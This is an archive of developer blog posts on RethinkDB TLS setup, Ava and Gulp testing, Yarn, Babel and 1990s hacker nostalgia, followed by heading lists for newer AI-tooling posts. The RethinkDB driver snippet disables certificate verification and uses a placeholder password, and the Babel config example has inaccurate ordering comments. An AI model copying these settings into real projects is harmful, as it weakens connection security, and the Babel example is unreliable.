- “48015:28015”
volumes:
- ./tls:/tls

RethinkDB SSL Setup

The compose file mounts a local tls directory as a mapped volume inside the container. The tls/ directory will contain our cert files, and the compose file is reflecting this.

Certificates

To setup a secure connection we need to facilitate it using certificates so an initial technical step:

cd tls/

openssl genrsa -out key.pem 2048

openssl req -new -x509 -key key.pem -out cert.pem -days 3650 -subj ‘/CN=domain.com’

cp cert.pem ca.pem

Important notes:

The canonical name, which is the CN value is set to the domain to which the RethinkDB driver will connect to. Set here to domain.com as an example, in your local development environment should probably be set to just localhost.
Copying the cert to the certificate authority is actually an extra step required for slaves joining the cluster, so this isn’t mandatory.

Start RethinkDB with SSL

Update the compose file to include a command configuration that starts the RethinkDB process with all the required SSL configuration

command: [“rethinkdb”, “—tls-min-protocol”, “TLSv1”, “—tls-ciphers”, “EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH:AES256-SHA”, “—canonical-address”, “domain.com”, “—http-tls-key”, “/tls/key.pem”, “—http-tls-cert”, “/tls/cert.pem”, “—driver-tls-key”, “/tls/key.pem”, “—driver-tls-cert”, “/tls/cert.pem”, “—bind” ,“all”]

Important notes:

The first command arguments — tls-min-protocol and — tls-ciphers are for working with older SSL versions (applicable to Mac OS setups)
Notice the — canonical-address argument is also set to domain.com, and you might want to change that to localhost if you created the self-signed cert with a CN=localhost

You’ll notice there isn’t any cluster related configuration but you can add them as well if you need to so they can join the SSL connection: — cluster-tls — cluster-tls-key /tls/key.pem — cluster-tls-cert /tls/cert.pem — cluster-tls-ca /tls/ca.pem

Node.js Driver Setup

The RethinkDB drivers support an ssl optional object which either sets the certificate using the ca property, or sets the rejectUnauthorized property to accept or reject self-signed certificates when connecting.

A snippet for the ssl configuration to pass to the driver:

ssl: {
rejectUnauthorized: false
// ca: fs.readFileSync(__dirname + ‘../tls/cert.pem’).toString().trim()
}

RethinkDB Password Setup

Now that the connection is secured, it only makes sense to connect using a user/password which are not the default.

Security Alert! RethinkDB ships with a default user and no password set which is insecure to say the least and was one of the main reasons for hundred of thousands of MongoDBs getting pwned on AWS a while back.

PLEASE CHANGE THE DEFAULT USER ACCOUNT

To set it up, update the compose file to also include the — initial-password argument so you can set the default admin user’s password. For example:

command: [“rethinkdb”, “—initial-password”, “changeMe”]

Of course you need to append this argument to the rest of the command line options in the above compose file.

Preferably, don’t store the password on the Dockerfile but rather use an environment variable or another method that doesn’t expose secrets.

Now, update the Node.js driver settings to use a user and password to connect:

{
user: ‘admin’,
password: ‘changeMe’
}

Congratulations! You’re now eligible to “Ready for Production” stickers.

Don’t worry, I already mailed them to your address.

Wiring up Ava.js Integration Tests with Express, Gulp, but not Supertest.

Thu, 16 Mar 2017 19:12:50 GMT

Gulp, the streaming build system for JavaScript source code probably doesn’t require an introduction, and most probably you’ve configured it, used it to run a project, or at least heard about it among the plethora of build tools like grunt, webpack and broccoli (yes, that’s a real JavaScript project. I know).

Working on my new side project I needed to configure a test integrations setup that would connect Ava to run integrations test. For that, I needed to also bring up the actual server with the databases so it can process the APIs.

If you’re still using Mocha I highly recommend trying out Ava, or at least moving on to Tape. They are in similar context but a totally different paradigm.

Some naive approaches to set it up were all considered yet they didn’t cut it for me for different reasons. Here is a review of the process I reviewed:

Supertest

Using supertest I could wrap ExpressJS on an ephemeral port, share this instance among all the tests. That could work but I didn’t like it because:

Sharing the supertest instance or somehow making it available to all of my tests means that I need to share context and this is completely against Ava paradigms that promotes a no-shared-state approach for minimizing side effects and parallelism. Ava actually doesn’t even allow that in it’s test.before().
With Ava running the tests concurrently, I would need to worry about tearup and teardown for ExpressJS and the rest of the connectors (Mongoose and Sequelize) which seems to me like setting up a bed of nails.
Supertest, from the family of Superagent, doesn’t seem like choice I want to make for the long run. It has worked forever only with callbacks, except for a recent patch that made it support Promises, but even that came too long that the community created supertest-as-promised.

So rejecting Supertest, and Superagent, I’m off to find another alternative, hopefully with a more promising library like Axios (yes yes, pun definitely intended!)

Reflection on Architecture

It was quickly made clear I want to de-couple the integration tests flow meaning that the tests or test runner won’t need to know or care about bringing up the server. It’s cleaner and makes it more scalable if for some cases I want to have a dedicated test server which test will run on, and another server which the integration tests will execute.

Gulp

So actually before moving to the obvious solution with Gulp, let’s quickly consider other viable approaches:

Concurrently — if you didn’t hear about it before, concurrently is a Node.js tool that allows executing commands in parallel. In simple terms for Linux users, it’s basically like doing command1 && command2 except it isn’t (the details aren’t correct because command2 will not run if command1 fails but let’s not dwell on the details).

The downside with concurrently is that it might take some seconds to bring up the server while the tests will already spinning up, hence failing.

The other option:

npm scripts — a more straight-forward approach is setting up something like “test:integrations”: “node — harmony server.js & sleep 5; npm run gulp test:integrations”

Technically that works but there’s code smell all over it. Who knows if 5 seconds are enough, and if some times it takes only 2 seconds to bring up the server then I’m wasting 3 seconds for no reason.

The time you wait for tests to run is the time you aren’t writing code, unless you’re using Wallaby.js. Hah!

So Gulp is a natural solution to spin up the server and run the integration tests on the same host, which thanks to gulp-ava plugin makes it a breeze as well.

A rough implementation is as follows:

gulp.task(‘test:integration’, function(done) {
runSequence(‘env:test’, ‘server:bootstrap’, ‘ava’, done);
});

Final Words

Give Ava a try, she’s a beauty, and don’t forget to test test test.

3 Things You Didn’t Know About Yarn

Tue, 28 Feb 2017 14:56:22 GMT

Everyone talk about Yarn’s speed and reliability but no one mentions any of the below nice-to-know facts about Yarn.

1. Yarn Depends on npm

Well guess what? Yarn’s source code actually depends on npm to be present because it uses it to run it’s own npm run-scripts which help build the Yarn package itself:

2. Yarn Style

Yarn coding convention is all about 2 space indentations, semicolons, and actually extending what seems to be Facebook’s own JavaScript coding conventions:

eslint-config-fb-strict

Surprise surprise, Yarn developers also use Flow extensively.

3. Built-In Spellcheck

Yarn is so much user-friendly that it’s developers added a functionality to automatically detect possible typos which are classic for the ‘dependencies’ clause.

Say we init a new npm module:

And then we deliberately add a typo for the dependencies clause as such:

{
“name”: “test”,
“version”: “1.0.0”,
“main”: “index.js”,
“license”: “MIT”,
“dependancies”: {
“express”: ”*“
}
}

Running Yarn will produce the following:

Nice huh? This is thanks to the following source code for Yarn that does it’s best to help you out when in need:

Node.js Yarn’ing for Local Packages

Wed, 08 Feb 2017 16:40:30 GMT

This is not another praise for npm package management with Yarn but rather a concise recipe for working with locally developed packages.

npm modules begin their lives when you init them on your local dev machine, but there comes a point when you want to test them out or plain use them with other Node.js projects you have.

With the npm client we’d be creating a link in the filesystem, but with Yarn you can really manage their versioning and use them just like any other dependency with all rules applied for dependencies.

Modules on the Filesystem: yarn add file://

Use the following command to add a package from the filesystem:

yarn add file:/Users/lirantal/code/my-npm-module

Good to keep in mind when doing that:

Because Yarn treats this as a real dependency it means it will really install it to your local node_modules/ directory, so if you make changes on the npm module, they won’t be reflected on the installed version you have in the Node.js project.
Yarn loves cache and it also caches those local npm modules, you can force a re-install by doing:

// Remove the package and clean local cache
yarn remove my-npm-mdule
yarn cache clean

// Re-install it
yarn add file:/…

Modules on Github / Git

Another thing that comes in handy with Yarn is that you can push your npm modules to a Git repository and tell Yarn to use that. This is useful if you don’t want to submit the npm package to an npm repository.

this is not specific to Yarn and the npm client can do the same

If you have a package on GitHub you can tell Yarn to install it using:

yarn add git+ssh://git@github.com/lirantal/my-npm-module.git

The same caching and versioning applies here as it did for the filesystem install.

Hacker Noon is how hackers start their afternoons. We’re a part of the @AMI family. We are now accepting submissions and happy to discuss advertising & sponsorship opportunities.

If you enjoyed this story, we recommend reading our latest tech stories and trending tech stories. Until next time, don’t take the realities of the world for granted!

Hidden features of Gulp for integration tests with Ava.js.

Mon, 23 Jan 2017 15:49:51 GMT

This is a bit of a follow-up to my previous post on Wiring up Ava.js Integration Tests with Express, Gulp, but not Supertest.

To make a long story short, I ended up using Gulp to bring up a full ExpressJS server so I can test the APIs using Ava. No mocking, or stubbing. The point is to really test the integration of the APIs with the Mongoose and Sequelize.js databases. Obviously it spins up a test schema/data to work on.

An example implementation of that would be:

gulp.task(‘test:integration’, function(done) {
runSequence(‘env:test’, ‘server:bootstrap’, ‘ava’, done);
});

While seemingly a straight-forward solution this entails some issues. The bootstrapped server hangs the event loop open because the event handler is blocking for connections. The result is that even though Ava tests finished executing the server is still up and running and Node.js doesn’t quit.

Streamorama

Thanks to the fact that Gulp’s foundation are Streams we can take advantage of that. Gulp plugins allow emitting errors and there are generally other events you can subscribe to.

This is completely undocumented in Gulp documentation or README and the only evidence for that lies in Gulp’s test source code.

So here’s a little trick we can do:

gulp.task(‘ava’, function() {
gulp.src(defaultAssets.server.tests)
.pipe(plugins.ava({verbose: true}))
.on(‘error’, function(err) {
console.log(err.message);
process.exit(1);
})
.on(‘end’, function() {
console.log(‘completed’);
});
});

We can subscribe to the error and end events, and then kill the Node.js process that runs gulp.

This is pretty much it, mostly undocumented as far as I could find.

On Node.js Security

I invite you to read my newly published book Essential Node.js Security to get insights on security measures, the right npm packages to use, and secure code guidelines.

The JavaScript Test Runners Evolution

Tue, 10 Jan 2017 21:55:23 GMT

Like with everything else in the JavaScript ecosystem, test automation tools are also going through a high pursuit speed race and nobody is taking prisoners.

Mocha and Tape

Mocha has been the clear defacto choice for JavaScript developers and framework authors for quite some time now. I bet if we were to spider GitHub repositories we’ll find the majority of projects using it.

I’ll even give you a seemingly accurate statistics of a Google Trends graph for Mocha vs Tape:

Tape is taking pride in doing things better than how Mocha is doing them, whether they are better code methodologies such as no global state shared between tests, and others such as providing a TAP output result which computers, parsers, bots, and some humans, can easily understand.

Tape was the conscience evolution choice after Mocha, but then came Ava.

Oh pretty Ava…

Ava

While I haven’t actually used Tape, just by comparing it with Ava it seems like Ava is Tape’s older brother. Or younger sister. oh well, you got the point, Ava is the new kid everyone wants to play with.

Highlights about Ava, yet there are probably more:

Speed — Speed of tests running matters. It matters for CI and for you, because the time you wait for tests to finish you could have invested in writing and debugging code. Ava approaches this by spawning different Node.js processes to run your tests, and asynchronously running the tests inside them. This benefits from the side effect shared state between tests.
Opinionated — Mocha doesn’t ship with an assertion library and is open for you to make use of anything you wish, may it be Chai, Should.js, or Node.js’s core Assert. Ava however, doesn’t leave room for confusion and provide it’s own assertion capabilities baked into Ava.
Explicit — With Ava, all the library facilities you use are explicitly defined. Where in Mocha you have globals like describe or it, in Ava everything is declared, no globals.
No Shared State — Ava makes use of Node.js’s asynchronous nature and runs tests in parallel, and also in dedicated Node.js processes. This means that making changes to files you require will not have an effect on other tests. Also, the use of beforeEach and friends in Mocha wouldn’t make sense anymore due to the parallelism of tests.
JS Edge — Ava ships with modern JavaScript capabilities out of the box where it will happily transpile all of your modern ES6/ES7 code in your tests (not in your libraries if you include them). This means you get the benefits of async/await and other gems when you write your test files.

Disclaimer: Ava does support running tests serially through the test.serial() method or the — serial command argument for all tests, and it also has before/after hooks such as test.before(). Granted they exist for convenience and specific use cases, they aren’t encouraged.

Worthy Mentions

Some other tools worth a mention if you’re in the test mood, each definitely deserve it’s own post.

Wallaby.js — A test runner that integrates with an IDE for a quick feedback loop on code coverage and tests.

Jest.js — Originating from Facebook it obviously provides solutions for a more powerful React.js test framework, but is not limited to and states to support any JavaScript code testing.

There’s also a test library called Painless. Yes, I’m not kidding, there is definitely such a test library.

What’s next?

Would be interesting to see what yields next in 2017 (yes, that ES6 pun was intentional).

The 1990s and 2600: The Hacker Quarterly

Fri, 06 Jan 2017 07:09:08 GMT

Oh those magnificent days of the 1990s.

Skateboards, punks, disc-man, phreaking, IRC, slackware, packetstormsecurity, Michael Jackson and Java. Ahh wait, scratch that last one, who’s actually thankful for Java? :)

Those days when everything seemed possible, and all those locked systems that were just waiting on the shell prompt, longing for someone to login.

Wanted or not, that cursor bleeped and bleeped, as if it were giving you a wink so that you make your move. It’s your turn.

Brute force, social engineering, key-loggers, and backdoor exploits, what wouldn’t you do to get inside and have a peak?

Those days, 2600 was a magazine that often released papers on hacker culture and technology, but it was more than that, or at least it seemed that me and my cyberspace friends have made more of it. It became a shared common ground on our digital medium to share ideas, and to challenge each other.

I’m bringing this topic because security today is much more important than it was before. I believe that in the past we were somewhat naive and hungry for knowledge, but hackers, the good ones, did not have any malicious intent.

The last couple of years have been a stormy weather for software engineers and security researchers having to deal with major security flaws found in popular platforms such as Java, Flash, SSL libraries, Linux’s GHOST vulnerability, Shellshock and not to mention widely adopted mobile and web applications that have been compromised.

If you take one thing from this post, let it be that you are more aware of security implications in the software you create. Either that, or transfer the risk to a security team that can be responsible for this.

P.S.
I may, or may not, have shared from personal experience or knowledge.

Photo Credits: nmap.org, 2600.com, wikipedia

Also, I invite you to read my newly published book Essential Node.js Security

When Startups Go Open Source and Merge Your Code

Thu, 29 Dec 2016 20:26:57 GMT

This Open Source thing is the real deal.

I have previously written about how easily you can contribute to other open source projects, but contributing code to startups and help them succeed?
Well yes, that too.

One of the tech newsletters I’m subscribed to mentioned scanr, a young OCR as a Service startup that gives you an API to send pictures to and get back text.
Well doesn’t that sound like an interesting hack for the weekend? Sure does!

Curious as I am, taking a dive in their documentation shows they are very tightly built on open source solutions, and further sniffing around reveals they also share much of this as open source, including their programming SDK bundles, on Github. Where else?

Being me, I just had to take a look at their Node.js module. It’s quite simple, but examining the code immediately shows some issues. Minor stuff, but left un-attended. Fixing it up is so trivial and simple, so why not? why not?

There goes that Pull-Request thing which magically merges my fixes with that repository:

Contribution is warmly appreciated and merged.
Another good thing we did for the world, and for another person.

Goodluck scanR!

Share with me! What repositories and projects did you contribute to recently?
I’m genuinely interested to know what you’re working on.

Keep on Babeling with ES6

Mon, 19 Dec 2016 10:40:36 GMT

In my previous post we did a crash course to Babel.js, let’s now dive deeper down the rabbit hole.

Experimenting with Stage-X

Presets are a collection of plugins that perform transformations. In that context, Stage-X presets are the same collections, but they refer to features in the very bleeding edge of the JavaScript engine spec.

The spec itself is referred to as TC39 and is split into the following stages:

stage-0 — just an idea
stage-1 — proposal
stage-2 — draft spec
stage-3 — initial browser implementation as candidate
stage-4 — finished and will be added in the next release

Babel Config

Babel can either get it’s config when being invoked from gulp, webpack or others, or it can read it’s configuration from a dedicated .babelrc file.

The configuration file is yet another JSON file which can specify the plugins, presets or specific environment configuration.

All plugins, and presets should be specified with their full name (i.e: babel-preset-es2015) or with their shorthand prefix (i.e: es2015) because Babel knows to shortcut the babel-plugin or babel-preset prefix.

Ordering is important, plugins run first in their order of apperance in the array, and then presets are followed after.

Options can be set for specific environments using the env option.

A summarizing example:

{
“plugins”: [
“babel-preset-es2015” // runs first
],
“presets”: [
“es2015”, // runs third
”stage-0” // runs first
],
“ignore”: [
“foo.js”,
“bar/**/*.js”
],
“env”: {
“production”: {
“plugins”: [“transform-react-jsx”]
}
}
}

Source Maps

Source maps play an important role when debugging your code comes into play.

Errors happen, exception are thrown, that’s obvious.
But when they occure they happen in the context of the compiled version of your code, because this is what gets executed and run.

Because of that, when an error is thrown and Node.js says it happens on line 42 then it’s referring to the compiled version that we built with Babel.
That’s not helpful because you are interested in the specific change on your original ES6 code, right?

Indicate the build process to also create source maps:

babel lib/ -d build —source-maps

Errors that will be thrown now will correctly hint the proper file and line number.

Liran Tal's Blog

Cursor Agent Hooks: Lint and Build Checks After Each Turn

On this page

Background and prior art

How Cursor agent hooks work

Command hook contract

Hook events: comparison and mental model

First attempt: sessionEnd

Better fit: stop

Why stop enables a self-healing loop

Implementing a verification hook

Skeleton

Capturing output and returning followup_message

Optional JSON parsing with set -e

Pitfalls we hit in production

Pitfall 1: Cursor’s bundled Node on PATH

Pitfall 2: followup_message on success creates a loop

Pitfall 3: stdout is sacred

Pitfall 4: non-zero exit when returning JSON

Debug logging and skipping work on abort

Reference configuration

.cursor/hooks.json

.cursor/hooks/post-session-verify.sh

Trade-offs and alternatives

Applications and examples

Validation and measurement

Security and performance considerations

Limitations and future work

Troubleshooting

FAQ

Next steps

LLM Security Automation Isn’t a Drop-In Scanner Yet

Background and prior art

How it works: the anatomy of an agentic security pass

1. Run drift: the same command, a different report

2. Phantom findings and the precision–recall trap

3. The latency cliff: agent loops versus deterministic scanners

4. Unbounded cost: no baseline, no delta, every run bills

5. BaxBench and why “correct enough” code still gets exploited

6. Findings variance: models, prompts, harnesses, and modes all move

Trade-offs and alternatives

Validation and measurement

FAQ

Next steps

All About Jest, Timers, and Mocks

What we’re actually testing

Architecture overview

Step 1: The production path — why 99 is not always a bug

Step 2: The wrong test (what we shipped first)

Step 3: Fake timers for “must wait minDelay” (fast promise)

Step 4: The second flake — “no extra delay” with a slow promise

Step 5: Best practices I’d enforce in code review

Things that surprised us

Where to take it from here

How to Build a Coding Agent Benchmark with Claude's Agent SDK

What are we benchmarking, exactly?

The overall architecture

Step 1: The fixtures — intentionally broken code

The ground-truth file lives outside the fixture directory

Step 2: The type system — knowing what you’re measuring

Step 3: Open/closed task and config loading

Step 4: The runner — orchestrating the agent

Sandboxing the agent

MCP tools need explicit allow-listing

Step 5: Getting token counts right (there are gotchas)

Bug 1: Reading usage from the wrong message

Bug 2: The SDK fires multiple events per API call

Understanding the four token fields

Step 6: Scoring

find-vulns: structured output + matching

fix-vulns: LLM-as-judge

Step 7: The reporter

Step 8: Putting it all together — the CLI

The metrics that matter

Quality (find-vulns)

Quality (fix-vulns)

Session cost & behavior

Things that surprised us

Where to take it from here

Agentic Growthhacking Tactics with Bots and AI

First attempt: `sessionEnd`

Better fit: `stop`

Why `stop` enables a self-healing loop

Capturing output and returning `followup_message`

Optional JSON parsing with `set -e`

Pitfall 1: Cursor’s bundled Node on `PATH`

Pitfall 2: `followup_message` on success creates a loop

`.cursor/hooks.json`

`.cursor/hooks/post-session-verify.sh`

Step 1: The production path — why `99` is not always a bug